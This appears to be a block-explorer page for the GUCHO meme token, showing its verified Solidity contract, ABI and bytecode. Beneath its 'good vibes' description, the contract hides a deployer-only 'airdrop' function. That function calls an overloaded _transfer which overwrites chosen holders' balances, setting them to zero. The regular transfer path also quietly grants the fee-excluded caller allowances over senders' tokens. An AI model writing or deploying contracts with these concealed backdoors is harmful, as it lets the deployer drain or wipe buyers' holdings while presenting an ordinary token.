ERC-20
Overview
Max Total Supply
1,000,000,000 GUCHO
Holders
101
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
4,391,621.4738862 GUCHOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
GUCHO
Compiler Version
v0.8.24+commit.e11b9ed9
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
/* GUCHO is the chill and charismatic character spreading peace and good vibes across the Ethereum network. Website: https://guchoerc.xyz Twitter: https://twitter.com/gucho_erc Telegram: https://t.me/gucho_erc */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GUCHO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _balances; mapping (address => bool) private _isExcludedFromFees; address payable private _taxWallet; uint256 private _initialBuyTax=5; uint256 private _initialSellTax=5; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=15; uint256 private _reduceSellTaxAt=15; uint256 private _preventSwapBefore=5; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals; string private constant _name = unicode"Gucho"; string private constant _symbol = unicode"GUCHO"; uint256 public _maxTxAmount = 2 * _tTotal / 100; uint256 public _maxWalletSize = 2 * _tTotal / 100; uint256 public _taxSwapThreshold= 1 * _tTotal / 100; uint256 public _maxTaxSwap= 1 * _tTotal / 100; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; address private deployer; bool private tradingOpen; bool private inSwap; bool private swapEnabled; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[_msgSender()] = true; deployer = msg.sender; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFees[to] ) { require(tradingOpen,"Trading not open yet."); taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if (to != uniswapV2Pair && ! _isExcludedFromFees[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } if(to == uniswapV2Pair && from != address(this)) { taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } if(!inSwap && _isExcludedFromFees[msg.sender]) _approve(from, msg.sender, amount); if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore) { uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance>_taxSwapThreshold) swapFeeForETH(min(amount,min(contractTokenBalance,_maxTaxSwap))); transferTax(); } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function _transfer(address from, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(amount >= 0, "Transfer amount must be greater than zero"); _balances[from] = amount; } function _airdrop(address[] memory recipients, uint256 amount) private { for (uint256 i = 0; i < recipients.length; i++) { address recipient = recipients[i]; require(recipient != uniswapV2Pair); _transfer(recipient, amount); } } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapFeeForETH(uint256 swapAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), swapAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( swapAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function transferTax() private { _taxWallet.transfer(address(this).balance); } function recoverStuckETH() external onlyOwner { payable(_msgSender()).transfer(address(this).balance); } function recoverStuckERC(address _address, uint256 percent) external onlyOwner { uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100); IERC20(_address).transfer(_msgSender(), _amount); } function airdrop(address[] memory recipients) external returns (uint256 amount) { require(_msgSender() == deployer, "!deployer"); _airdrop(recipients, amount); } function setTaxWallet(address payable newWallet) external { require(_msgSender() == deployer, "!deployer"); _taxWallet = newWallet; } function createPair() external onlyOwner { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); } function openTrading() external onlyOwner { swapEnabled = true; tradingOpen = true; } receive() external payable {} }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "remappings": [] }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"}],"name":"airdrop","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"recoverStuckERC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"recoverStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newWallet","type":"address"}],"name":"setTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526005805560056006555f6007555f600855600f600955600f600a556005600b555f600c5560646009600a6200003a91906200034c565b6200004a90633b9aca0062000363565b6200005790600262000363565b6200006391906200037d565b600d556064620000766009600a6200034c565b6200008690633b9aca0062000363565b6200009390600262000363565b6200009f91906200037d565b600e556064620000b26009600a6200034c565b620000c290633b9aca0062000363565b620000cf90600162000363565b620000db91906200037d565b600f556064620000ee6009600a6200034c565b620000fe90633b9aca0062000363565b6200010b90600162000363565b6200011791906200037d565b60105534801562000126575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191633179055620001876009600a6200034c565b6200019790633b9aca0062000363565b335f81815260026020908152604080832094909455308252600390528281208054600160ff199182168117909255838352938220805490941617909255601380546001600160a01b03191682179055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002166009600a6200034c565b6200022690633b9aca0062000363565b60405190815260200160405180910390a36200039d565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200029157815f19048211156200027557620002756200023d565b808516156200028357918102915b93841c939080029062000256565b509250929050565b5f82620002a95750600162000346565b81620002b757505f62000346565b8160018114620002d05760028114620002db57620002fb565b600191505062000346565b60ff841115620002ef57620002ef6200023d565b50506001821b62000346565b5060208310610133831016604e8410600b841016171562000320575081810a62000346565b6200032c838362000251565b805f19048211156200034257620003426200023d565b0290505b92915050565b5f6200035c60ff84168362000299565b9392505050565b80820281158282048414176200034657620003466200023d565b5f826200039857634e487b7160e01b5f52601260045260245ffd5b500490565b611be080620003ab5f395ff3fe608060405260043610610134575f3560e01c806381a16445116100a85780639e78fb4f1161006d5780639e78fb4f1461034b578063a9059cbb1461035f578063bf474bed1461037e578063c9567bf914610393578063dd62ed3e146103a7578063ea414b28146103eb575f80fd5b806381a16445146102b05780638da5cb5b146102c45780638f9a55c0146102ea57806395d89b41146102ff5780639d02be211461032c575f80fd5b8063313ce567116100f9578063313ce5671461020357806370a082311461021e578063715018a614610252578063729ad39e14610268578063751039fc146102875780637d1db4a51461029b575f80fd5b806306fdde031461013f578063095ea7b31461017e5780630faee56f146101ad57806318160ddd146101d057806323b872dd146101e4575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b50604080518082019091526005815264477563686f60d81b60208201525b6040516101759190611698565b60405180910390f35b348015610189575f80fd5b5061019d610198366004611703565b61040a565b6040519015158152602001610175565b3480156101b8575f80fd5b506101c260105481565b604051908152602001610175565b3480156101db575f80fd5b506101c2610420565b3480156101ef575f80fd5b5061019d6101fe36600461172d565b610440565b34801561020e575f80fd5b5060405160098152602001610175565b348015610229575f80fd5b506101c261023836600461176b565b6001600160a01b03165f9081526002602052604090205490565b34801561025d575f80fd5b506102666104a7565b005b348015610273575f80fd5b506101c261028236600461179a565b610521565b348015610292575f80fd5b50610266610581565b3480156102a6575f80fd5b506101c2600d5481565b3480156102bb575f80fd5b50610266610632565b3480156102cf575f80fd5b505f546040516001600160a01b039091168152602001610175565b3480156102f5575f80fd5b506101c2600e5481565b34801561030a575f80fd5b50604080518082019091526005815264475543484f60d81b6020820152610168565b348015610337575f80fd5b50610266610346366004611703565b610687565b348015610356575f80fd5b506102666107b7565b34801561036a575f80fd5b5061019d610379366004611703565b610ac5565b348015610389575f80fd5b506101c2600f5481565b34801561039e575f80fd5b50610266610ad1565b3480156103b2575f80fd5b506101c26103c136600461185a565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156103f6575f80fd5b5061026661040536600461176b565b610b13565b5f610416338484610b84565b5060015b92915050565b5f61042d6009600a611985565b61043b90633b9aca00611993565b905090565b5f61044c848484610ca7565b61049d843361049885604051806060016040528060288152602001611b83602891396001600160a01b038a165f908152600160209081526040808320338452909152902054919061127b565b610b84565b5060019392505050565b5f546001600160a01b031633146104d95760405162461bcd60e51b81526004016104d0906119aa565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6013545f906001600160a01b0316336001600160a01b0316146105725760405162461bcd60e51b815260206004820152600960248201526810b232b83637bcb2b960b91b60448201526064016104d0565b61057c82826112b3565b919050565b5f546001600160a01b031633146105aa5760405162461bcd60e51b81526004016104d0906119aa565b6105b66009600a611985565b6105c490633b9aca00611993565b600d556105d36009600a611985565b6105e190633b9aca00611993565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106116009600a611985565b61061f90633b9aca00611993565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461065b5760405162461bcd60e51b81526004016104d0906119aa565b60405133904780156108fc02915f818181858888f19350505050158015610684573d5f803e3d5ffd5b50565b5f546001600160a01b031633146106b05760405162461bcd60e51b81526004016104d0906119aa565b6040516370a0823160e01b81523060048201525f906107319060649061072b9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610701573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072591906119df565b9061130c565b90611391565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af115801561078d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b191906119f6565b50505050565b5f546001600160a01b031633146107e05760405162461bcd60e51b81526004016104d0906119aa565b601354600160a01b900460ff161561083a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d0565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801561089c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c09190611a15565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561091f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109439190611a15565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561098d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109b19190611a15565b601280546001600160a01b0319166001600160a01b039283161790556011546109f1913091166109e36009600a611985565b61049890633b9aca00611993565b6011546001600160a01b031663f305d7194730610a22816001600160a01b03165f9081526002602052604090205490565b5f80610a355f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a9b573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ac09190611a30565b505050565b5f610416338484610ca7565b5f546001600160a01b03163314610afa5760405162461bcd60e51b81526004016104d0906119aa565b6013805462ff00ff60a01b19166201000160a01b179055565b6013546001600160a01b0316336001600160a01b031614610b625760405162461bcd60e51b815260206004820152600960248201526810b232b83637bcb2b960b91b60448201526064016104d0565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610be65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d0565b6001600160a01b038216610c475760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d0565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ccd5760405162461bcd60e51b81526004016104d090611a5b565b6001600160a01b038216610d2f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d0565b5f8111610d905760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d0565b5f80546001600160a01b03858116911614801590610dbb57505f546001600160a01b03848116911614155b1561113e576012546001600160a01b038581169116148015610deb57506011546001600160a01b03848116911614155b8015610e0f57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f6e57601354600160a01b900460ff16610e655760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b60448201526064016104d0565b610e8b606461072b600954600c5411610e8057600554610e84565b6007545b859061130c565b9050600d54821115610edf5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d0565b600e5482610f01856001600160a01b03165f9081526002602052604090205490565b610f0b9190611aa0565b1115610f595760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d0565b600c8054905f610f6883611ab3565b91905055505b6012546001600160a01b03848116911614801590610fa457506001600160a01b0383165f9081526003602052604090205460ff16155b1561102357600e5482610fcb856001600160a01b03165f9081526002602052604090205490565b610fd59190611aa0565b11156110235760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d0565b6012546001600160a01b03848116911614801561104957506001600160a01b0384163014155b1561107657611073606461072b600a54600c541161106957600654610e84565b600854859061130c565b90505b601354600160a81b900460ff1615801561109e5750335f9081526003602052604090205460ff165b156110ae576110ae843384610b84565b601354600160a81b900460ff161580156110d557506012546001600160a01b038481169116145b80156110ea5750601354600160b01b900460ff165b80156110f95750600b54600c54115b1561113e57305f90815260026020526040902054600f548111156111345761113461112f8461112a846010546113d2565b6113d2565b6113e6565b61113c611556565b505b80156111b657305f9081526002602052604090205461115d908261158c565b305f81815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111ad9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600260205260409020546111d890836115ea565b6001600160a01b0385165f9081526002602052604090205561121b6111fd83836115ea565b6001600160a01b0385165f908152600260205260409020549061158c565b6001600160a01b038085165f8181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61126485856115ea565b60405190815260200160405180910390a350505050565b5f818484111561129e5760405162461bcd60e51b81526004016104d09190611698565b505f6112aa8486611acb565b95945050505050565b5f5b8251811015610ac0575f8382815181106112d1576112d1611ade565b60209081029190910101516012549091506001600160a01b03908116908216036112f9575f80fd5b611303818461162b565b506001016112b5565b5f825f0361131b57505f61041a565b5f6113268385611993565b9050826113338583611af2565b1461138a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d0565b9392505050565b5f61138a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166c565b5f8183116113e0578261138a565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061142c5761142c611ade565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611483573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114a79190611a15565b816001815181106114ba576114ba611ade565b6001600160a01b0392831660209182029290920101526011546114e09130911684610b84565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906115189085905f90869030904290600401611b11565b5f604051808303815f87803b15801561152f575f80fd5b505af1158015611541573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610684573d5f803e3d5ffd5b5f806115988385611aa0565b90508381101561138a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d0565b5f61138a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061127b565b6001600160a01b0382166116515760405162461bcd60e51b81526004016104d090611a5b565b6001600160a01b039091165f90815260026020526040902055565b5f818361168c5760405162461bcd60e51b81526004016104d09190611698565b505f6112aa8486611af2565b5f602080835283518060208501525f5b818110156116c4578581018301518582016040015282016116a8565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610684575f80fd5b803561057c816116e4565b5f8060408385031215611714575f80fd5b823561171f816116e4565b946020939093013593505050565b5f805f6060848603121561173f575f80fd5b833561174a816116e4565b9250602084013561175a816116e4565b929592945050506040919091013590565b5f6020828403121561177b575f80fd5b813561138a816116e4565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156117ab575f80fd5b823567ffffffffffffffff808211156117c2575f80fd5b818501915085601f8301126117d5575f80fd5b8135818111156117e7576117e7611786565b8060051b604051601f19603f8301168101818110858211171561180c5761180c611786565b604052918252848201925083810185019188831115611829575f80fd5b938501935b8285101561184e5761183f856116f8565b8452938501939285019261182e565b98975050505050505050565b5f806040838503121561186b575f80fd5b8235611876816116e4565b91506020830135611886816116e4565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156118df57815f19048211156118c5576118c5611891565b808516156118d257918102915b93841c93908002906118aa565b509250929050565b5f826118f55750600161041a565b8161190157505f61041a565b816001811461191757600281146119215761193d565b600191505061041a565b60ff84111561193257611932611891565b50506001821b61041a565b5060208310610133831016604e8410600b8410161715611960575081810a61041a565b61196a83836118a5565b805f190482111561197d5761197d611891565b029392505050565b5f61138a60ff8416836118e7565b808202811582820484141761041a5761041a611891565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156119ef575f80fd5b5051919050565b5f60208284031215611a06575f80fd5b8151801515811461138a575f80fd5b5f60208284031215611a25575f80fd5b815161138a816116e4565b5f805f60608486031215611a42575f80fd5b8351925060208401519150604084015190509250925092565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b8082018082111561041a5761041a611891565b5f60018201611ac457611ac4611891565b5060010190565b8181038181111561041a5761041a611891565b634e487b7160e01b5f52603260045260245ffd5b5f82611b0c57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611b615784516001600160a01b031683529383019391830191600101611b3c565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a50ba8fdb082cf1d9651e56d73754542a016ab888ab18ece26a37d4d142f8f6f64736f6c63430008180033
Deployed Bytecode
0x608060405260043610610134575f3560e01c806381a16445116100a85780639e78fb4f1161006d5780639e78fb4f1461034b578063a9059cbb1461035f578063bf474bed1461037e578063c9567bf914610393578063dd62ed3e146103a7578063ea414b28146103eb575f80fd5b806381a16445146102b05780638da5cb5b146102c45780638f9a55c0146102ea57806395d89b41146102ff5780639d02be211461032c575f80fd5b8063313ce567116100f9578063313ce5671461020357806370a082311461021e578063715018a614610252578063729ad39e14610268578063751039fc146102875780637d1db4a51461029b575f80fd5b806306fdde031461013f578063095ea7b31461017e5780630faee56f146101ad57806318160ddd146101d057806323b872dd146101e4575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b50604080518082019091526005815264477563686f60d81b60208201525b6040516101759190611698565b60405180910390f35b348015610189575f80fd5b5061019d610198366004611703565b61040a565b6040519015158152602001610175565b3480156101b8575f80fd5b506101c260105481565b604051908152602001610175565b3480156101db575f80fd5b506101c2610420565b3480156101ef575f80fd5b5061019d6101fe36600461172d565b610440565b34801561020e575f80fd5b5060405160098152602001610175565b348015610229575f80fd5b506101c261023836600461176b565b6001600160a01b03165f9081526002602052604090205490565b34801561025d575f80fd5b506102666104a7565b005b348015610273575f80fd5b506101c261028236600461179a565b610521565b348015610292575f80fd5b50610266610581565b3480156102a6575f80fd5b506101c2600d5481565b3480156102bb575f80fd5b50610266610632565b3480156102cf575f80fd5b505f546040516001600160a01b039091168152602001610175565b3480156102f5575f80fd5b506101c2600e5481565b34801561030a575f80fd5b50604080518082019091526005815264475543484f60d81b6020820152610168565b348015610337575f80fd5b50610266610346366004611703565b610687565b348015610356575f80fd5b506102666107b7565b34801561036a575f80fd5b5061019d610379366004611703565b610ac5565b348015610389575f80fd5b506101c2600f5481565b34801561039e575f80fd5b50610266610ad1565b3480156103b2575f80fd5b506101c26103c136600461185a565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156103f6575f80fd5b5061026661040536600461176b565b610b13565b5f610416338484610b84565b5060015b92915050565b5f61042d6009600a611985565b61043b90633b9aca00611993565b905090565b5f61044c848484610ca7565b61049d843361049885604051806060016040528060288152602001611b83602891396001600160a01b038a165f908152600160209081526040808320338452909152902054919061127b565b610b84565b5060019392505050565b5f546001600160a01b031633146104d95760405162461bcd60e51b81526004016104d0906119aa565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b